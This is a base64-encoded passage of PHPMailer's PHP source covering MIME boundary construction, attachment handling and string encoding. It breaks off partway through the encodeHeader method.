CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjaGFyU2V0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjb250ZW50VHlwZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBnZXRCb3VuZGFyeSgkYm91bmRhcnksICRjaGFyU2V0LCAkY29udGVudFR5cGUsICRlbmNvZGluZykKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CiAgICAgICAgaWYgKCRjaGFyU2V0ID09ICcnKSB7CiAgICAgICAgICAgICRjaGFyU2V0ID0gJHRoaXMtPkNoYXJTZXQ7CiAgICAgICAgfQogICAgICAgIGlmICgkY29udGVudFR5cGUgPT0gJycpIHsKICAgICAgICAgICAgJGNvbnRlbnRUeXBlID0gJHRoaXMtPkNvbnRlbnRUeXBlOwogICAgICAgIH0KICAgICAgICBpZiAoJGVuY29kaW5nID09ICcnKSB7CiAgICAgICAgICAgICRlbmNvZGluZyA9ICR0aGlzLT5FbmNvZGluZzsKICAgICAgICB9CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICRib3VuZGFyeSk7CiAgICAgICAgJHJlc3VsdCAuPSBzcHJpbnRmKCdDb250ZW50LVR5cGU6ICVzOyBjaGFyc2V0PSVzJywgJGNvbnRlbnRUeXBlLCAkY2hhclNldCk7CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CiAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgIGlmICgkZW5jb2RpbmcgIT0gJzdiaXQnKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkZW5jb2RpbmcpOwogICAgICAgIH0KICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5MRTsKCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBSZXR1cm4gdGhlIGVuZCBvZiBhIG1lc3NhZ2UgYm91bmRhcnkuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHBhcmFtIHN0cmluZyAkYm91bmRhcnkKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBlbmRCb3VuZGFyeSgkYm91bmRhcnkpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5MRSAuICctLScgLiAkYm91bmRhcnkgLiAnLS0nIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogU2V0IHRoZSBtZXNzYWdlIHR5cGUuCiAgICAgKiBQSFBNYWlsZXIgb25seSBzdXBwb3J0cyBzb21lIHByZXNldCBtZXNzYWdlIHR5cGVzLCBub3QgYXJiaXRyYXJ5IE1JTUUgc3RydWN0dXJlcy4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNldE1lc3NhZ2VUeXBlKCkKICAgIHsKICAgICAgICAkdHlwZSA9IGFycmF5KCk7CiAgICAgICAgaWYgKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0eXBlW10gPSAnYWx0JzsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5pbmxpbmVJbWFnZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0eXBlW10gPSAnaW5saW5lJzsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5hdHRhY2htZW50RXhpc3RzKCkpIHsKICAgICAgICAgICAgJHR5cGVbXSA9ICdhdHRhY2gnOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gaW1wbG9kZSgnXycsICR0eXBlKTsKICAgICAgICBpZiAoJHRoaXMtPm1lc3NhZ2VfdHlwZSA9PSAnJykgewogICAgICAgICAgICAvL1RoZSAncGxhaW4nIG1lc3NhZ2VfdHlwZSByZWZlcnMgdG8gdGhlIG1lc3NhZ2UgaGF2aW5nIGEgc2luZ2xlIGJvZHkgZWxlbWVudCwgbm90IHRoYXQgaXQgaXMgcGxhaW4tdGV4dAogICAgICAgICAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gJ3BsYWluJzsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBGb3JtYXQgYSBoZWFkZXIgbGluZS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGhlYWRlckxpbmUoJG5hbWUsICR2YWx1ZSkKICAgIHsKICAgICAgICByZXR1cm4gJG5hbWUgLiAnOiAnIC4gJHZhbHVlIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJuIGEgZm9ybWF0dGVkIG1haWwgbGluZS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHRleHRMaW5lKCR2YWx1ZSkKICAgIHsKICAgICAgICByZXR1cm4gJHZhbHVlIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGF0dGFjaG1lbnQgZnJvbSBhIHBhdGggb24gdGhlIGZpbGVzeXN0ZW0uCiAgICAgKiBOZXZlciB1c2UgYSB1c2VyLXN1cHBsaWVkIHBhdGggdG8gYSBmaWxlIQogICAgICogUmV0dXJucyBmYWxzZSBpZiB0aGUgZmlsZSBjb3VsZCBub3QgYmUgZm91bmQgb3IgcmVhZC4KICAgICAqIEV4cGxpY2l0bHkgKmRvZXMgbm90KiBzdXBwb3J0IHBhc3NpbmcgVVJMczsgUEhQTWFpbGVyIGlzIG5vdCBhbiBIVFRQIGNsaWVudC4KICAgICAqIElmIHlvdSBuZWVkIHRvIGRvIHRoYXQsIGZldGNoIHRoZSByZXNvdXJjZSB5b3Vyc2VsZiBhbmQgcGFzcyBpdCBpbiB2aWEgYSBsb2NhbCBmaWxlIG9yIHN0cmluZy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGggUGF0aCB0byB0aGUgYXR0YWNobWVudC4KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgT3ZlcnJpZGVzIHRoZSBhdHRhY2htZW50IG5hbWUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBleHRlbnNpb24gKE1JTUUpIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZEF0dGFjaG1lbnQoJHBhdGgsICRuYW1lID0gJycsICRlbmNvZGluZyA9ICdiYXNlNjQnLCAkdHlwZSA9ICcnLCAkZGlzcG9zaXRpb24gPSAnYXR0YWNobWVudCcpCiAgICB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgaWYgKCFzZWxmOjppc1Blcm1pdHRlZFBhdGgoJHBhdGgpIG9yICFAaXNfZmlsZSgkcGF0aCkpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2ZpbGVfYWNjZXNzJykgLiAkcGF0aCwgc2VsZjo6U1RPUF9DT05USU5VRSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBmaWxlIG5hbWUKICAgICAgICAgICAgaWYgKCR0eXBlID09ICcnKSB7CiAgICAgICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJHBhdGgpOwogICAgICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICRuYW1lID0gJGZpbGVuYW1lOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAwID0+ICRwYXRoLAogICAgICAgICAgICAgICAgMSA9PiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAgICAgMyA9PiAkZW5jb2RpbmcsCiAgICAgICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgICAgIDcgPT4gMAogICAgICAgICAgICApOwoKICAgICAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGV4YykgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgYXJyYXkgb2YgYXR0YWNobWVudHMuCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hdHRhY2htZW50OwogICAgfQoKICAgIC8qKgogICAgICogQXR0YWNoIGFsbCBmaWxlLCBzdHJpbmcsIGFuZCBiaW5hcnkgYXR0YWNobWVudHMgdG8gdGhlIG1lc3NhZ2UuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uX3R5cGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYXR0YWNoQWxsKCRkaXNwb3NpdGlvbl90eXBlLCAkYm91bmRhcnkpCiAgICB7CiAgICAgICAgLy8gUmV0dXJuIHRleHQgb2YgYm9keQogICAgICAgICRtaW1lID0gYXJyYXkoKTsKICAgICAgICAkY2lkVW5pcSA9IGFycmF5KCk7CiAgICAgICAgJGluY2wgPSBhcnJheSgpOwoKICAgICAgICAvLyBBZGQgYWxsIGF0dGFjaG1lbnRzCiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgLy8gQ2hlY2sgaWYgaXQgaXMgYSB2YWxpZCBkaXNwb3NpdGlvbl9maWx0ZXIKICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICRkaXNwb3NpdGlvbl90eXBlKSB7CiAgICAgICAgICAgICAgICAvLyBDaGVjayBmb3Igc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgICRzdHJpbmcgPSAnJzsKICAgICAgICAgICAgICAgICRwYXRoID0gJyc7CiAgICAgICAgICAgICAgICAkYlN0cmluZyA9ICRhdHRhY2htZW50WzVdOwogICAgICAgICAgICAgICAgaWYgKCRiU3RyaW5nKSB7CiAgICAgICAgICAgICAgICAgICAgJHN0cmluZyA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcGF0aCA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICRpbmNsaGFzaCA9IG1kNShzZXJpYWxpemUoJGF0dGFjaG1lbnQpKTsKICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkaW5jbGhhc2gsICRpbmNsKSkgewogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGluY2xbXSA9ICRpbmNsaGFzaDsKICAgICAgICAgICAgICAgICRuYW1lID0gJGF0dGFjaG1lbnRbMl07CiAgICAgICAgICAgICAgICAkZW5jb2RpbmcgPSAkYXR0YWNobWVudFszXTsKICAgICAgICAgICAgICAgICR0eXBlID0gJGF0dGFjaG1lbnRbNF07CiAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24gPSAkYXR0YWNobWVudFs2XTsKICAgICAgICAgICAgICAgICRjaWQgPSAkYXR0YWNobWVudFs3XTsKICAgICAgICAgICAgICAgIGlmICgkZGlzcG9zaXRpb24gPT0gJ2lubGluZScgJiYgYXJyYXlfa2V5X2V4aXN0cygkY2lkLCAkY2lkVW5pcSkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRjaWRVbmlxWyRjaWRdID0gdHJ1ZTsKCiAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcyVzJywgJGJvdW5kYXJ5LCAkdGhpcy0+TEUpOwogICAgICAgICAgICAgICAgLy9Pbmx5IGluY2x1ZGUgYSBmaWxlbmFtZSBwcm9wZXJ0eSBpZiB3ZSBoYXZlIG9uZQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXM7IG5hbWU9IiVzIiVzJywKICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkbmFtZSkpLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgICAgICAgICAgaWYgKCRlbmNvZGluZyAhPSAnN2JpdCcpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogJXMlcycsICRlbmNvZGluZywgJHRoaXMtPkxFKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoJGRpc3Bvc2l0aW9uID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoJ0NvbnRlbnQtSUQ6IDwlcz4lcycsICRjaWQsICR0aGlzLT5MRSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8gSWYgYSBmaWxlbmFtZSBjb250YWlucyBhbnkgb2YgdGhlc2UgY2hhcnMsIGl0IHNob3VsZCBiZSBxdW90ZWQsCiAgICAgICAgICAgICAgICAvLyBidXQgbm90IG90aGVyd2lzZTogUkZDMjE4MyAmIFJGQzIwNDUgNS4xCiAgICAgICAgICAgICAgICAvLyBGaXhlcyBhIHdhcm5pbmcgaW4gSUVURidzIG1zZ2xpbnQgTUlNRSBjaGVja2VyCiAgICAgICAgICAgICAgICAvLyBBbGxvdyBmb3IgYnlwYXNzaW5nIHRoZSBDb250ZW50LURpc3Bvc2l0aW9uIGhlYWRlciB0b3RhbGx5CiAgICAgICAgICAgICAgICBpZiAoIShlbXB0eSgkZGlzcG9zaXRpb24pKSkgewogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkX25hbWUgPSAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJG5hbWUpKTsKICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL1sgXChcKTw+QCw7OlxcIlwvXFtcXVw\/PV0vJywgJGVuY29kZWRfbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXM7IGZpbGVuYW1lPSIlcyIlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZF9uYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkxFIC4gJHRoaXMtPkxFCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkZW5jb2RlZF9uYW1lKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtRGlzcG9zaXRpb246ICVzOyBmaWxlbmFtZT0lcyVzJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGVuY29kZWRfbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUgLiAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5MRSAuICR0aGlzLT5MRQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyBFbmNvZGUgYXMgc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgIGlmICgkYlN0cmluZykgewogICAgICAgICAgICAgICAgICAgICRtaW1lW10gPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCRzdHJpbmcsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPmVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcy0tJXMnLCAkYm91bmRhcnksICR0aGlzLT5MRSk7CgogICAgICAgIHJldHVybiBpbXBsb2RlKCcnLCAkbWltZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBmaWxlIGF0dGFjaG1lbnQgaW4gcmVxdWVzdGVkIGZvcm1hdC4KICAgICAqIFJldHVybnMgYW4gZW1wdHkgc3RyaW5nIG9uIGZhaWx1cmUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggdG8gdGhlIGZpbGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGVuY29kaW5nIFRoZSBlbmNvZGluZyB0byB1c2U7IG9uZSBvZiAnYmFzZTY0JywgJzdiaXQnLCAnOGJpdCcsICdiaW5hcnknLCAncXVvdGVkLXByaW50YWJsZScKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyA9ICdiYXNlNjQnKQogICAgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGlmICghc2VsZjo6aXNQZXJtaXR0ZWRQYXRoKCRwYXRoKSBvciAhZmlsZV9leGlzdHMoJHBhdGgpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdmaWxlX29wZW4nKSAuICRwYXRoLCBzZWxmOjpTVE9QX0NPTlRJTlVFKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkbWFnaWNfcXVvdGVzID0gZmFsc2U7CiAgICAgICAgICAgIGlmKCB2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjQuMCcsICc8JykgKSB7CiAgICAgICAgICAgICAgICAkbWFnaWNfcXVvdGVzID0gZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRtYWdpY19xdW90ZXMpIHsKICAgICAgICAgICAgICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjMuMCcsICc8JykpIHsKICAgICAgICAgICAgICAgICAgICBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoZmFsc2UpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAvL0RvZXNuJ3QgZXhpc3QgaW4gUEhQIDUuNCwgYnV0IHdlIGRvbid0IG5lZWQgdG8gY2hlY2sgYmVjYXVzZQogICAgICAgICAgICAgICAgICAgIC8vZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lIGFsd2F5cyByZXR1cm5zIGZhbHNlIGluIDUuNCsKICAgICAgICAgICAgICAgICAgICAvL3NvIGl0IHdpbGwgbmV2ZXIgZ2V0IGhlcmUKICAgICAgICAgICAgICAgICAgICBpbmlfc2V0KCdtYWdpY19xdW90ZXNfcnVudGltZScsIGZhbHNlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkZmlsZV9idWZmZXIgPSBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7CiAgICAgICAgICAgICRmaWxlX2J1ZmZlciA9ICR0aGlzLT5lbmNvZGVTdHJpbmcoJGZpbGVfYnVmZmVyLCAkZW5jb2RpbmcpOwogICAgICAgICAgICBpZiAoJG1hZ2ljX3F1b3RlcykgewogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJywgJzwnKSkgewogICAgICAgICAgICAgICAgICAgIHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgkbWFnaWNfcXVvdGVzKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAkbWFnaWNfcXVvdGVzKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJGZpbGVfYnVmZmVyOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICByZXR1cm4gJyc7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgc3RyaW5nIGluIHJlcXVlc3RlZCBmb3JtYXQuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIFRoZSB0ZXh0IHRvIGVuY29kZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgVGhlIGVuY29kaW5nIHRvIHVzZTsgb25lIG9mICdiYXNlNjQnLCAnN2JpdCcsICc4Yml0JywgJ2JpbmFyeScsICdxdW90ZWQtcHJpbnRhYmxlJwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBlbmNvZGVTdHJpbmcoJHN0ciwgJGVuY29kaW5nID0gJ2Jhc2U2NCcpCiAgICB7CiAgICAgICAgJGVuY29kZWQgPSAnJzsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJGVuY29kaW5nKSkgewogICAgICAgICAgICBjYXNlICdiYXNlNjQnOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRzdHIpLCA3NiwgJHRoaXMtPkxFKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICc3Yml0JzoKICAgICAgICAgICAgY2FzZSAnOGJpdCc6CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9ICR0aGlzLT5maXhFT0woJHN0cik7CiAgICAgICAgICAgICAgICAvLyBNYWtlIHN1cmUgaXQgZW5kcyB3aXRoIGEgbGluZSBicmVhawogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkZW5jb2RlZCwgLShzdHJsZW4oJHRoaXMtPkxFKSkpICE9ICR0aGlzLT5MRSkgewogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkIC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdiaW5hcnknOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkc3RyOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ3F1b3RlZC1wcmludGFibGUnOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUVAoJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZW5jb2RpbmcnKSAuICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRlbmNvZGVkOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgaGVhZGVyIHN0cmluZyBvcHRpbWFsbHkuCiAgICAgKiBQaWNrcyBzaG9ydGVzdCBvZiBRLCBCLCBxdW90ZWQtcHJpbnRhYmxlIG9yIG5vbmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwb3NpdGlvbgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZUhlYWRlcigkc3RyLCAkcG9zaXR